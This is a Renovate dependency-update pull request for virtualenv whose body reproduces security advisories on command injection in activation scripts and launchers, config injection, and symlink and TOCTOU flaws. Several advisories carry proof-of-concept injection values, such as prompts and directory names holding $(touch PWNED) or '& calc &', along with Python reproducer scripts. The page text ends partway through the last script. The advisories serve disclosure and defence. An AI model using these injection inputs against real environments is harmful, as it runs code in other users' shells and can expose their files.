Skip to content

chore(deps): update dependency virtualenv to v21 [security] - #188

Open
renovate[bot] wants to merge 1 commit into
masterfrom
renovate/pypi-virtualenv-vulnerability
Open

renovate[bot] wants to merge 1 commit into
masterfrom
renovate/pypi-virtualenv-vulnerability

Conversation

@renovate

@renovate renovate Bot commented Jan 14, 2025 •

Copy link
Copy Markdown
Contributor

Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Change Age Confidence
virtualenv (changelog) ==20.23.1 → ==21.14.9 age confidence

virtualenv allows command injection through activation scripts for a virtual environment

CVE-2024-53899 / GHSA-rqc4-2hc7-8c8v

More information

Details

virtualenv before 20.26.6 allows command injection through the activation scripts for a virtual environment. Magic template strings are not quoted correctly when replacing. NOTE: this is not the same as CVE-2024-9287.

Severity

  • CVSS Score: 8.4 / 10 (High)
  • Vector String: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


virtualenv Has TOCTOU Vulnerabilities in Directory Creation

CVE-2026-22702 / GHSA-597g-3phw-6986

More information

Details

Impact

TOCTOU (Time-of-Check-Time-of-Use) vulnerabilities in virtualenv allow local attackers to perform symlink-based attacks on directory creation operations. An attacker with local access can exploit a race condition between directory existence checks and creation to redirect virtualenv's app_data and lock file operations to attacker-controlled locations.

Affected versions: All versions up to and including 20.36.1

Affected users: Any user running virtualenv on multi-user systems where untrusted local users have filesystem access to shared temporary directories or where VIRTUALENV_OVERRIDE_APP_DATA points to a user-writable location.

Attack scenarios:

  • Cache poisoning: Attacker corrupts wheels or Python metadata in the cache
  • Information disclosure: Attacker reads sensitive cached data or metadata
  • Lock bypass: Attacker controls lock file semantics to cause concurrent access violations
  • Denial of service: Lock starvation preventing virtualenv operations
Patches

The vulnerability has been patched by replacing check-then-act patterns with atomic os.makedirs(..., exist_ok=True) operations.

Fixed in: PR #​3013

Versions with the fix: 20.36.2 and later

Users should upgrade to version 20.36.2 or later.

Workarounds

If you cannot upgrade immediately:

  1. Ensure VIRTUALENV_OVERRIDE_APP_DATA points to a directory owned by the current user with restricted permissions (mode 0700)
  2. Avoid running virtualenv in shared temporary directories where other users have write access
  3. Use separate user accounts for different projects to isolate app_data directories
References
  • GitHub PR: https://github.com/pypa/virtualenv/pull/3013
  • Vulnerability reported by: @​tsigouris007
  • CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization (TOCTOU)
  • CWE-59: Improper Link Resolution Before File Access

Severity

  • CVSS Score: 4.5 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


virtualenv: Downloaded seed wheels (pip/setuptools) are not integrity-checked before use

CVE-2026-102930 / GHSA-94p9-xgh2-xp45

More information

Details

download_wheel() runs pip download and hands the result straight to the seeder, with nothing checking the bytes it gets back. The embedded pip and setuptools wheels carry a BUNDLE_SHA256 that virtualenv checks on every load, but a wheel fetched over the network for the periodic-update feature or the --download flag had no equivalent verification.

A compromised index, a stale mirror, or a MITM'd download (when TLS is intercepted, e.g. via a misconfigured or malicious CA) could substitute a different wheel under the same distribution/version/filename, and virtualenv would cache and seed it into every environment created afterward with no warning.

Fixed by computing the downloaded wheel's sha256 and comparing it against the digest PyPI's public JSON API reports for that exact release, independent of which index actually served the file. The check is skipped, not treated as failure, when a custom index (PIP_INDEX_URL, PIP_EXTRA_INDEX_URL, PIP_INDEX) is configured, since a private index can legitimately serve a different, intentionally rebuilt wheel. Fix: https://github.com/pypa/virtualenv/pull/3251

Severity

  • CVSS Score: 7.7 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


virtualenv writes prompt values into pyvenv.cfg without sanitizing line boundaries, allowing configuration injection

CVE-2026-102938 / GHSA-9h9j-4vrj-gf7g

More information

Details

Summary

pyvenv.cfg is a line-based format with no escape syntax. PyEnvCfg.write() wrote values verbatim, while PyEnvCfg._read_values() parses the file with str.splitlines(). A value containing a line boundary therefore became additional configuration lines, and because reading is last-wins, the injected keys replaced any key written earlier in the file.

Impact

The prompt value is the reachable input: it is set by --prompt, by the VIRTUALENV_PROMPT environment variable, or from the config file, and write() emits prompt before home. A crafted prompt can therefore set home in the generated pyvenv.cfg:

$ virtualenv --prompt $'x"\nhome = /attacker/path\nprompt = "z' venv
$ grep '^home' venv/pyvenv.cfg
home = /attacker/path

home is what tooling reads to locate the base interpreter, so a consumer that trusts it can be pointed elsewhere. implementation, version_info, version, executable, command and virtualenv are also written before prompt and can be replaced the same way.

This requires the prompt to come from somewhere other than the person running the command, for example a CI job templating a branch name into it, tooling deriving an environment name from user-supplied data, or an inherited VIRTUALENV_PROMPT. Where the operator supplies the prompt directly they already control the command line, and the effect is corruption rather than privilege gain: the value is truncated at the boundary and read back with a dangling quote.

Details

The boundary set is the one str.splitlines() recognizes, which is wider than \n: \r, \v, \f, the file, group and record separators, U+0085, U+2028 and U+2029 were all written through unchanged and all split the line when read back.

Patches

PyEnvCfg.write() now collapses those boundaries to spaces as it serializes each line, so it cannot emit a structurally invalid file regardless of what a caller places in content.

Workarounds

Do not pass externally influenced data as the virtualenv prompt. Strip line boundaries from any value before using it as --prompt or VIRTUALENV_PROMPT.

Severity

  • CVSS Score: 5.8 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:P/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


virtualenv: Command injection via --prompt in activate.bat (batch activator)

CVE-2026-102937 / GHSA-x78j-v8h9-3j2q

More information

Details

BatchActivator.quote() returned its input unchanged, the only activator with no escaping at all. --prompt, the VIRTUALENV_PROMPT environment variable, and the config file all set the prompt, and activate.bat writes it straight into @set "VAR=value". A prompt containing a double quote closes that string early, and whatever follows runs as live cmd.exe syntax:

$ virtualenv --prompt 'x" & calc & "' venv
$ venv\Scripts\activate.bat

runs calc the moment someone activates the environment. Confirmed on a real Windows runner. Anyone who templates a prompt from untrusted input (a CI job using a branch name, a wrapper script deriving an environment name from user input) hands an attacker code execution in the shell of anyone who activates the resulting venv on Windows.

Fixed in 21.7.12 by escaping the characters cmd.exe treats as live syntax inside this construct. Fix: https://github.com/pypa/virtualenv/pull/3250

Severity

  • CVSS Score: 7.3 / 10 (High)
  • Vector String: CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


virtualenv bash and fish activation scripts execute commands embedded in paths

CVE-2026-102925 / GHSA-p58f-9548-mpm2

More information

Details

Impact

The generated activate (bash/zsh) and activate.fish scripts interpolate a shlex.quote-ed value into a position that quotes it a second time. The extra quotes terminate the quoted run early and leave part of the value parsed as shell code, so a path containing shell metacharacters runs commands when a user sources the activation script.

activate is affected through the virtual environment's own path, on the branch that reports a relocated environment:

echo "Virtual environment directory __VIRTUAL_ENV__ does not exist!" >&2

For a destination named x'$(id)'y, shlex.quote emits 'x'"'"'$(id)'"'"'y'. The inner " closes the enclosing double quote and $(id) is left unquoted. Backtick and ; payloads reach the same result. This branch runs whenever the recorded path is absent, which is the normal case for a virtual environment copied or distributed to another machine.

activate.fish is affected through the interpreter's Tcl/Tk library paths:

set -gx TCL_LIBRARY '__TCL_LIBRARY__'

shlex.quote already returns '/tcl/(cmd)/lib', so the rendered line is ''/tcl/(cmd)/lib''. fish concatenates the adjacent quoted runs and expands the (cmd) left between them. The same doubling also splits a path containing a space into two list elements, corrupting TCL_LIBRARY and TK_LIBRARY.

This is the same defect class as GHSA-x78j-v8h9-3j2q, which covered activate.bat.

Patches

Fixed in 21.7.13 by moving the placeholders outside the surrounding quotes, so each value keeps only the quoting shlex.quote applied. Fix: https://github.com/pypa/virtualenv/pull/3252

Workarounds

Avoid creating or distributing virtual environments whose path contains ', `, $, ;, ( or ), and inspect the generated activation script before sourcing one you did not create.

Severity

  • CVSS Score: 7.8 / 10 (High)
  • Vector String: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


virtualenv activate.fish runs commands from a path or prompt with a backslash before a quote

CVE-2026-113732 / GHSA-c947-3pg5-gm8q

More information

Details

Impact

FishActivator defines no quote(), so it inherits ViaTemplateActivator.quote, which returns shlex.quote(string). That function follows POSIX sh rules, where a backslash inside single quotes stays a literal character. fish reads \' inside single quotes as an escaped quote and \\ as an escaped backslash. A value with a backslash before a quote therefore ends the literal somewhere other than where shlex.quote put the end, and fish expands the command substitution that follows.

The environment path reaches set -gx VIRTUAL_ENV, and --prompt or VIRTUALENV_PROMPT reaches set -gx VIRTUAL_ENV_PROMPT. For --prompt "x\'\$(touch PWNED)'\'", the generated activate.fish contains:

set -gx VIRTUAL_ENV_PROMPT 'x\'"'"'$(touch PWNED)'"'"'\'"'"''

source bin/activate.fish runs touch PWNED, and fish prints no error. The same payload as a directory name runs through VIRTUAL_ENV. --prompt . takes the current directory's name, so running virtualenv inside a directory someone else named is enough. Without the backslash the payload runs nothing, and under bash it runs nothing either.

virtualenv generates activate.fish by default. An attacker needs to influence the environment path or prompt: a CI job or wrapper tool that passes a branch, project or job name through, or a directory in a cloned repository or unpacked archive.

The bug affects every release up to 21.14.1 that ships activate.fish. The GHSA-p58f-9548-mpm2 fix in 21.7.13 moved the placeholders outside their quotes but kept shlex.quote.

Patches

Fixed in 21.14.2. activate.fish now escapes backslashes and single quotes the way fish reads them, so the example above runs nothing and shows the prompt as given. Fix: pypa/virtualenv@3bddeaf

Workarounds

Do not create an environment whose path or prompt contains a backslash, and inspect activate.fish before you source one you did not create.

Credits

Kevin Stubbings (@​Kwstubbs) of GitHub Security Lab reported this issue.

Severity

  • CVSS Score: 7.8 / 10 (High)
  • Vector String: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


virtualenv activate runs commands from the environment name in zsh with PROMPT_SUBST

CVE-2026-113726 / GHSA-5vjq-rrrf-7h2q

More information

Details

Impact

zsh users activate an environment with the bash activate script, which puts the environment name into PS1. Since
21.13.0 the script escapes backslashes, dollar signs and backticks in that name, but only when BASH_VERSION is set, so
zsh gets the raw value. With the PROMPT_SUBST option set, zsh runs parameter expansion, command substitution and
arithmetic expansion on PS1 each time it draws the prompt. A name that contains $(...), backticks or ${...} then
runs as commands in the user's shell, once per prompt.

The name comes from the environment directory, or from --prompt or VIRTUALENV_PROMPT. After you create an
environment with:

$ virtualenv 'x$(touch PWNED)y'

source 'x$(touch PWNED)y/bin/activate' in a zsh session with PROMPT_SUBST set creates PWNED, and the prompt shows
(xy). Passing that value as --prompt to an environment with a plain name has the same effect. Without
PROMPT_SUBST, zsh shows the name as text and runs nothing. bash runs nothing either.

A plain zsh starts with PROMPT_SUBST off. oh-my-zsh users have it on: oh-my-zsh loads
lib/theme-and-appearance.zsh
at startup, and that file sets it. An attacker needs to influence the environment path or prompt: a CI job or wrapper
tool that passes a branch, project or job name through, or a directory in a cloned repository or unpacked archive.
--prompt . takes the current directory's name.

zsh also reads % in PS1 as a prompt escape, so a name with %n showed the user name in place of those characters,
though without running commands.

The bug is in releases up to and including 21.14.3. The payload runs on 20.26.6 and 21.14.3, and the reporter confirmed
21.9.1.

Patches

Fixed in 21.14.4. Under zsh, activate now escapes the name the way it does under bash and doubles
%, so the example above runs nothing and the prompt shows the name as given. zsh gets the escaping even when
PROMPT_SUBST is off, because a user can set the option after activation; a name with a backslash, dollar sign or
backtick then shows the added backslashes.
Fix: pypa/virtualenv@5b91536

Workarounds

Set VIRTUAL_ENV_DISABLE_PROMPT=1 before you source activate, which leaves PS1 alone, or run
unsetopt prompt_subst if your prompt does not need it. Check the name of an environment you did not create before you
source its activate.

Credits

Kaya Emre Arikan (@​kemrec) reported this issue.

Severity

  • CVSS Score: 7.8 / 10 (High)
  • Vector String: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


virtualenv bash activate runs commands from an environment name with a backslash before $

CVE-2026-113725 / GHSA-vxj4-q4g9-crj7

More information

Details

Summary

The bash activate script escapes the environment name for only one of the two passes bash makes over PS1, so a
backslash in the name undoes the escaping and a name containing \$(...) runs as commands in the user's shell each
time bash draws the prompt.

Affected area

src/virtualenv/activation/bash/activate.sh, the block that prepends the environment name to PS1.

Attacker-controlled input

The environment name: the environment directory's name, or the --prompt or VIRTUALENV_PROMPT value. An attacker
needs to influence it, for example through a CI job or wrapper tool that passes a branch, project or job name through,
or a directory in a cloned repository or unpacked archive. --prompt . takes the current directory's name.

Details

bash handles PS1 in two passes each time it draws the prompt: it first decodes backslash prompt escapes, turning \\
into \ and \$ into $ (or # for root), and then runs parameter expansion, command substitution and arithmetic
expansion on the result. Since 21.13.0 the script escapes backslashes, dollar signs and backticks in the name, but only
for the second pass, so the decode pass strips the escaping that a backslash in the name precedes. Releases before
21.13.0 do not escape the name at all. A bash running as root decodes \$ to #, so the payload shows the wrong text
there but runs nothing. zsh does no decode pass and is not affected.

Proof of concept
$ virtualenv --prompt 'a\$(touch PWNED)' env
$ bash --norc --noprofile -c 'source env/bin/activate; printf "%s" "${PS1@P}"'
$ ls PWNED
PWNED
Impact

Arbitrary command execution in the shell of a user who sources the activate script of an environment whose name an
attacker influenced, with that user's privileges, once per prompt draw.

Versions tested

21.14.6 with bash 5.2.15 on Debian bookworm, as an unprivileged user and as root.

Known mitigation

Set VIRTUAL_ENV_DISABLE_PROMPT=1 before you source activate, which leaves PS1 alone, or run shopt -u promptvars
if your prompt does not need expansion. Check the name of an environment you did not create before you source its
activate.

Latest release
  • The problem reproduces on the latest virtualenv release.

21.14.6

Patches

Fixed in 21.14.7. Under bash, activate now escapes backslashes, dollar signs and backticks for both passes, so the
example above runs nothing and the prompt shows the name as given. zsh keeps the single escaping it needs.
Fix: pypa/virtualenv@c3104e0

Credits

Found while running the virtualenv test suite as root inside the Anthropic OSS Scanner build image.

Severity

  • CVSS Score: 7.8 / 10 (High)
  • Vector String: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


virtualenv: Generated POSIX console launchers interpret destination paths as shell syntax

CVE-2026-113722 / GHSA-c978-59m8-c77v

More information

Details

Summary

A destination path supplied to virtualenv can be interpreted as shell syntax by a generated POSIX console launcher. The
app-data seeder and pip delegate launcher generation to distlib but supply the interpreter path in a form that does not
preserve it as literal data in the shell wrapper.

Affected area

POSIX console scripts generated by the app-data seeder or pip when the interpreter path requires a shell wrapper.
Windows executable launchers are not affected by this path.

Attacker-controlled input

An attacker must influence the environment destination passed to virtualenv, and the user must subsequently run a
generated launcher. The attacker does not need to modify an installed executable or control the user's app-data cache.

Affected code

The relevant 21.14.8 source is in
ScriptMakerCustom.

Mechanism

The app-data seeder passes the environment's interpreter path through enquote_executable() to distlib's ScriptMaker.
It adds double quotes for a path with a space but does not escape shell expansions inside those quotes. When the path
has a space or the shebang exceeds 127 bytes, distlib emits a #!/bin/sh wrapper with a line shaped like
'''exec' "<path>" "$0" "$@". The shell expands $(...) and backticks in that path when the launcher is run. The same
wrapper must also parse as Python, which exposes additional quote and backslash cases. Environment creation and
activation do not trigger the shell payload.

Reproduction and evidence

The scanner created three environments: a control under my -touch PWNED- project, one under
my $(touch PWNED) project, and one under a path of more than 127 bytes ending in $(touch${IFS}PWNED). Each was
created without producing PWNED. Running the generated bin/pip --version created PWNED in both attack cases; the
control created none. The long-path case reached the shell wrapper without a space. This reproduces execution by the
generated launcher, with the user's privileges, rather than during seeding.

The report dates the app-data seeder's distlib launcher integration to #​1579, first released in 20.0.2.
PR #​3417 quotes the raw interpreter path for the POSIX wrapper and
repairs launchers written by the pip seeder. Pip's own distlib can write a vulnerable wrapper again during a later pip
install or upgrade; the proposed virtualenv fix does not change pip's vendored code. The maintainer-provided follow-up
review reports that later path separately.

Attack sequence
sequenceDiagram
    participant A as Destination supplier
    participant V as virtualenv seeder
    participant D as distlib ScriptMaker
    participant S as Generated bin/pip
    participant U as User
    A->>V: path contains $(touch PWNED)
    V->>D: pass interpreter path with incomplete shell quoting
    D->>S: write /bin/sh wrapper
    Note over V,S: no payload runs during creation or activation
    U->>S: pip --version
    S->>S: shell expands path and runs touch
    S-->>U: PWNED appears with user's privileges
Loading
Reproducer files

The following files are from the scanner report for ANT-2026-5DZVLGL1. They were tested against commit a857a7823c73
in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs
need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files
are included as evidence and were not rerun for this advisory update.

repro


#!/usr/bin/env python3
import shutil
import subprocess
from pathlib import Path

WORK = Path("/tmp/repro-console-script")

##### The attacker's whole input: the name of a directory above the environment (a repository, a project folder).
DIRECTORY_NAMES = {
    "CONTROL": "my -touch PWNED- project",
    "OBSERVED": "my $(touch PWNED) project",
    # no space: distlib also picks the /bin/sh launcher once "#!<dest>/bin/python" is longer than 127 bytes
    "OBSERVED_LONG": "p" * 120 + "$(touch${IFS}PWNED)",
}

shutil.rmtree(WORK, ignore_errors=True)
pip_printed = {}
created_by_pip = {}
for label, name in DIRECTORY_NAMES.items():
    # the payload can hold no "/", so it touches a relative PWNED: each case gets its own empty working directory
    cwd = WORK / label / "cwd"
    venv = WORK / label / name / "venv"
    cwd.mkdir(parents=True)

    # set up: the user creates an environment there with default options (--no-periodic-update keeps it offline)
    subprocess.run(["virtualenv", "--quiet", "--no-periodic-update", str(venv)], cwd=cwd, check=True)
    assert list(cwd.iterdir()) == [], "environment creation must not have created anything"

    # trigger: the user runs the seeded pip; argv is a list, so the only shell that reads the name is bin/pip's own
    pip = subprocess.run([venv / "bin" / "pip", "--version"], cwd=cwd, capture_output=True, text=True)
    pip_printed[label] = pip.stdout
    created_by_pip[label] = sorted(p.name for p in cwd.iterdir())

    launcher = (venv / "bin" / "pip").read_text().splitlines()
    print(f"{label}: directory name {name!r}")
    print(f"  bin/pip line 1: {launcher[0]}")
    print(f"  bin/pip line 2: {launcher[1]}")
    print(f"  bin/pip --version printed: {(pip.stdout + pip.stderr).strip()}")
    print(f"  files bin/pip created in the working directory: {created_by_pip[label]}")

##### check: a directory name is data; starting pip must run pip and nothing else
control_ok = pip_printed["CONTROL"].startswith("pip ") and created_by_pip["CONTROL"] == []
attack_ran = created_by_pip["OBSERVED"] == ["PWNED"] and created_by_pip["OBSERVED_LONG"] == ["PWNED"]
print("BUG" if control_ok and attack_ran else "OK")
Fix scope and remaining exposure

PR #​3417 changes launcher generation by the app-data seeder and repairs POSIX shell wrappers after pip seeding. The
pip-seeder repair uses the same quoting rule and updates the installed RECORD hashes and sizes. It does not modify pip's
vendored distlib.

A later independent pip installation or upgrade can replace a corrected launcher with an affected one. Existing
launchers are not repaired by upgrading virtualenv alone. Recreate environments with the corrected virtualenv to
regenerate them, and use trusted destination paths. Recreation does not protect launchers subsequently rewritten by pip.
The follow-up review reports reproduction through the previous pip seeder and after a pip upgrade; those results are
attributed to the reviewer.

Impact

Running an affected launcher can execute commands with the calling user's privileges. Classification: high, CVSS 7.8,
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H, following the project's
generated-script precedent. The vector
assumes attacker-controlled path data and a user invoking the resulting launcher. No prior victim privileges are
required; successful command execution can affect the user's data and processes.

Versions tested

The maintainer confirmed validation of the reported findings on release 21.14.8. The subsequent review
records reproduction on unfixed upstream/main; the affected launcher integration and dependency declarations are
unchanged from 21.14.8. The first affected release has not been established. Fixed in 21.14.9.

Known mitigation

Use an environment destination chosen by a trusted user. For older releases, avoid generating
environments at destinations derived from untrusted input.

Affected release
  • The problem reproduces on virtualenv 21.14.8.
Credits

Reported by Anthropic's OSS Scanner as ANT-2026-5DZVLGL1.

Severity

  • CVSS Score: 7.8 / 10 (High)
  • Vector String: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


virtualenv: Deletion recovery can change a symlink target's mode

CVE-2026-113724 / GHSA-43mp-35q3-x3fq

More information

Details

Summary

The deletion error handler obtains permission bits with lstat() but applies them through chmod(), which follows
symlinks. On an eligible unlink failure this can change permissions outside the destination.

Anthropic's OSS Scanner reported this as ANT-2026-UK90QC27 in virtualenv-20261015-005, received on 15 October 2026.

Affected area

Permission recovery after a filesystem deletion error.

Attacker-controlled input

A deletion must fail on a symbolic-link entry and enter the permission-recovery branch. The invoking user must have
permission to change the target mode. This is conditional error handling, not the normal successful unlink path.

Affected code

The relevant 21.14.8 source is in
safe_delete().

Mechanism

safe_delete() asks shutil.rmtree() to retry a failed removal after adding owner-write permission. Its error handler
calls os.lstat(path) for mode bits but os.chmod(path, ...) to apply them. For a symlink, lstat reads the link's
mode while chmod follows the link. A link inside a read-only directory can therefore cause the target's mode to become
0777 before the retry fails. The target must be owned by the invoking user and initially not writable by that user;
root does not reach this failure path.

Reproduction and evidence

The scanner packed a project containing a mode-0555 venv/bin/python/ directory and a symlink inside it pointing to
the user's mode-0400 keys/deploy.pem. An unprivileged user unpacked it and ran both plain virtualenv venv and
virtualenv --clear venv. Both commands exited with PermissionError naming the directory inside venv, while the
key's mode changed from 0400 to 0777. A control archive with a writable directory completed normally and left the
key at 0400. The read-only mode survives tar or cp -a; a normal git clone does not preserve this setup.

This changes permissions; it does not read the target or complete the virtualenv operation. Another account can use the
widened mode only if it can traverse the target's parent directories. The scanner dates the active error handler to

#​3222, first released in 21.7.5. PR #​3427 avoids POSIX mode changes on
deletion failure and handles Windows read-only entries without following reparse points.

Attack sequence
sequenceDiagram
    participant A as Prepared read-only venv tree
    participant V as safe_delete error handler
    participant L as Symlink in venv
    participant K as User's 0400 key
    A->>V: virtualenv venv or --clear venv
    V->>L: unlink fails in 0555 directory
    V->>L: lstat returns link mode 0777
    V->>L: chmod follows symlink
    L->>K: target mode becomes 0777
    V-->>A: retry fails with PermissionError
    Note over K: Other accounts can use new mode if parent paths are traversable
Loading
Reproducer files

The following files are from the scanner report for ANT-2026-UK90QC27. They were tested against commit a857a7823c73
in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs
need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files
are included as evidence and were not rerun for this advisory update.

repro


#!/usr/bin/env python3
import os
import stat
import subprocess
import sys
import tempfile
from pathlib import Path

NOBODY = 65534

work = Path(tempfile.mkdtemp(prefix="repro-safe-delete-"))
os.chmod(work, 0o755)
os.chown(work, NOBODY, NOBODY)

##### the attacker's project archive (venv/bin/python read-only), and the same archive with that folder writable
make_archive = [sys.executable, "/tmp/repro.d/make_project_archive.py"]
subprocess.run([*make_archive, work / "read-only.tar", "555"], check=True)
subprocess.run([*make_archive, work / "writable.tar", "755"], check=True)
subprocess.run(["tar", "-tvf", work / "read-only.tar"], check=True)

##### from here on an ordinary user: root's unlink never fails, so safe_delete's error handler would never run
os.setgroups([])
os.setgid(NOBODY)
os.setuid(NOBODY)
os.umask(0o022)

def unpack_next_to_key_and_run_virtualenv(label, home_name, archive_name, *options):
    home = work / home_name
    archive = work / archive_name
    key = home / "keys" / "deploy.pem"
    key.parent.mkdir(parents=True)
    key.write_text("PRIVATE KEY\n")
    key.chmod(0o400)
    subprocess.run(["tar", "-xf", archive], cwd=home, check=True)

    mode_before = stat.S_IMODE(key.stat().st_mode)
    command = ["virtualenv", "--no-periodic-update", "-q", *options, "venv"]
    # HOME is where virtualenv keeps its app-data; nobody's own, /nonexistent, cannot hold it
    result = subprocess.run(
        command,
        cwd=home / "proj",
        env={**os.environ, "HOME": str(home)},
        stdout=subprocess.PIPE,
        stderr=subprocess.STDOUT,
        text=True,
    )
    mode_after = stat.S_IMODE(key.stat().st_mode)

    print(f"{label} {archive_name}, `{' '.join(command)}`: exit {result.returncode} {result.stdout.strip()}")
    print(f"{label} {key} mode {mode_before:#o} -> {mode_after:#o}")
    return mode_before, mode_after

control = unpack_next_to_key_and_run_virtualenv("CONTROL ", "home-control", "writable.tar")
default = unpack_next_to_key_and_run_virtualenv("OBSERVED", "home-default", "read-only.tar")
clear = unpack_next_to_key_and_run_virtualenv("OBSERVED", "home-clear", "read-only.tar", "--clear")

##### check: the key lives outside the destination; virtualenv has no business changing its mode
print("BUG" if control == (0o400, 0o400) and default == (0o400, 0o777) and clear == (0o400, 0o777) else "OK")

repro.d/make_project_archive.py


#!/usr/bin/env python3
import sys
import tarfile

archive_path = sys.argv[1]
python_folder_mode = int(sys.argv[2], 8)

with tarfile.open(archive_path, "w") as archive:
    python_folder = tarfile.TarInfo("proj/venv/bin/python")
    python_folder.type = tarfile.DIRTYPE
    python_folder.mode = python_folder_mode  # without the write bit, unlinking an entry inside it fails with EACCES
    archive.addfile(python_folder)

    link = tarfile.TarInfo("proj/venv/bin/python/entry")
    link.type = tarfile.SYMTYPE
    link.linkname = "../../../../keys/deploy.pem"  # the victim's key, beside the unpacked proj/
    archive.addfile(link)
Impact

Permission recovery after a failed deletion can change an unrelated target's access bits. This requires the deletion
failure to occur on a link and the invoking user to have permission to change the target mode.

Severity: medium. CVSS 4.5, CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L, assigned during maintainer review.

Versions tested

The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected
version or exclude earlier releases. Fixed in 21.14.9.

The fix leaves POSIX modes unchanged when deletion fails. Windows read-only recovery uses a native handle that
opens the entry itself without following reparse points and denies replacement until the attribute update finishes. It
rejects reparse points and clears only the read-only attribute. Concurrent replacement of parent directories remains
outside this protection.

Fix: PR #​3427.

Known mitigation

Avoid recursively clearing destinations populated by another account. If cleanup fails, inspect the failing entry before
retrying with broader privileges.

Affected release
  • The problem reproduces on virtualenv 21.14.8.
Credits

Reported by Anthropic's OSS Scanner as ANT-2026-UK90QC27.

Severity

  • CVSS Score: 4.5 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


virtualenv: Builtin creation follows linked environment directories

CVE-2026-113716 / GHSA-cw65-gx24-rc82

More information

Details

Summary

The builtin creator accepts existing directory symlinks through ensure_dir() and writes environment files through those
directories. This permits writes outside the requested destination.

Anthropic's OSS Scanner reported this as ANT-2026-MUFJEG11 in virtualenv-20261015-005, received on 15 October 2026.

Affected area

Directory preparation before environment files are created.

Attacker-controlled input

Another account must be able to prepare linked entries below the chosen destination before creation. The invoking user
must have access to the linked destination. This does not require write access to the target itself under the other
account.

Affected code

The relevant 21.14.8 source is in
builtin creator,
ensure_dir().

Mechanism

The builtin creator calls ensure_dir() for bin, lib, and package directories. ensure_dir() accepts an existing
symlink to a directory because exists() follows it. Interpreter creation, seed installation, and activation-script
generation then write through that parent link. A final-file check cannot prevent a write through a linked parent.
--clear removes the planted tree first; ordinary creation over a prepared destination reaches it.

Reproduction and evidence

The scanner's project tree contains venv/bin -> ../../.local/bin and a .pth file in the environment's package tree.
With the user's initially empty ~/.local/bin first on PATH, virtualenv venv exited successfully and wrote
python*, pip*, and activate* into ~/.local/bin. The marker was absent immediately after creation; a later
pip --version on the user's PATH loaded the seeded environment and the planted .pth code wrote the marker. A
second case began with the bin link resolving inside the environment; replacement of a planted package link during
seeding changed where it resolved, and writes again reached ~/.local/bin.

The attacker must prepare entries in an existing destination. The .pth content is already attacker-controlled and
would run if the user used that environment directly; the added effect is creation-time writing or replacement outside
the requested tree and an executable on the user's PATH pointing at it. The scanner traces this default builtin path
to 20.0.0b1. PR #​3429 replaces linked directory components before
creation. Concurrent parent replacement remains a separate case.

Attack sequence
sequenceDiagram
    participant A as Prepared destination
    participant V as Builtin creator
    participant L as venv/bin symlink
    participant H as ~/.local/bin
    participant U as User
    A->>L: point to ../../.local/bin
    V->>L: ensure_dir accepts existing directory link
    V->>H: write python, pip and activate files through link
    V-->>U: creation reports success
    U->>H: run pip found on PATH
    H->>A: interpreter loads planted .pth
    A-->>U: marker created
Loading
Reproducer files

The following files are from the scanner report for ANT-2026-MUFJEG11. They were tested against commit a857a7823c73
in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs
need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files
are included as evidence and were not rerun for this advisory update.

repro


#!/usr/bin/env python3
import os
import shutil
import subprocess
import sys
from pathlib import Path

WORK = Path("/tmp/planted-bin-link")
shutil.rmtree(WORK, ignore_errors=True)

def user_creates_venv_in_checkout_then_runs_pip(home, make_checkout):
    local_bin = home / ".local/bin"
    user_env = {"HOME": str(home), "PATH": f"{local_bin}:{os.environ['PATH']}"}
    local_bin_before = set(os.listdir(local_bin))
    payload_marker = home / "PWNED"

    # the attacker's checkout arrives at ~/project
    subprocess.run([sys.executable, f"/tmp/repro.d/{make_checkout}", home / "project"], check=True)
    venv = home / "project/venv"
    print(f"CONTROL  venv/bin before the run resolves to {os.path.realpath(venv / 'bin')}")

    # default options; the flag only keeps the run off the network
    subprocess.run(["virtualenv", "--no-periodic-update", "--quiet", "venv"], cwd=home / "project", env=user_env, check=True)
    written = sorted(set(os.listdir(local_bin)) - local_bin_before)
    payload_ran_at_creation = payload_marker.exists()
